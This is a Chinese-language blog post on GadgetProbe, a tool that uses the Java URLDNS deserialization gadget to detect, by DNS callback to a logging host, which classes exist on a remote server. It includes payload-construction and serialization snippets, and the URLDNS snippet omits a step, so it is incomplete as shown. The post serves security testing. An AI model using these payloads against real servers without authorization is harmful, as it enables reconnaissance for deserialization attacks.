盲测java反序列化类库的工具GadgetProbe
2020-02-25 11:09:07 Author: forum.90sec.com(查看原文) 阅读量:268 收藏

黑盒测java反序列化漏洞时,一般都得通过流量特征去挖掘,比如这款是结合burp:
https://github.com/federicodotta/JavaDeserializationScanner

找到匹配流量换成ysoserial生成的payload的直接打,一般在测漏洞时,我都是先用URLDNS这条gadget检测反序列化漏洞,然鹅,一个蛋疼的问题,不知道服务器上存在的危险类有哪些,一般是用ysoserial生成所有payload的去打,服务器设置策略可能URLDNS 53端口的流量能出来,其他的则不能,这就导致漏检。

在逛twitter时,发现了这个工具:

下面分析分析这款工具的原理:
URLDNS这条gadget还是比较好理解的:

image

简单来说,通过HashMapreadObject来触发,putVal时候key进入了hash方法,调用key的
hashCode方法,通过URLStreamHandler这个类的hasCode触发DNS查询。

image

payload构造就像下面这样,hasCode改为1是为了绕过缓存判断。

public Object getObject(final String url) throws Exception
{
    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap();
    URL u = new URL(null, url, handler);
    Reflections.setFieldValue(u, "hashCode", -1);
    return ht;
}

自己调一下代码就理解URLdns是怎么触发的,这篇文章说的也很细:

理解了URLDNS,再来看看GadgetProbe这个工具的原理:

先生成序列化的gadget,edd8xa.dnslog.cn是DNS平台的地址,服务器待检测的类:
com.bishopfox.gadgetprobe.GadgetProbe

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("o
            bject.obj "));
            GadgetProbe gp = new GadgetProbe("edd8xa.dnslog.cn"); Object obj = gp.getObject("com.bishopfox.gadgetprobe.GadgetPr
                obe ");
                oos.writeObject(obj); oos.flush(); oos.close();

生成对象的代码,u是检测的类名和dns平台的拼接,来到getOrGenerateClass函数:

image

如果类在服务器上存在,加载类,反正通过Javassist生成一个类。

image

反序列化调用链跟URLDNS一样,如果这个类在服务器上存在,就会在dns平台上收到请求。

image
image

如果测试的类在服务器上不存在,就会抛出异常。

image

原理就是这样,工具这大哥已经写成burp的插件,暴力测试远程类是否在服务器上通过DNSLog回
显判断,地址在这里

用法也比较简单参考上面链接。


文章来源: https://forum.90sec.com/t/topic/812/2
如有侵权请联系:admin#unsafe.sh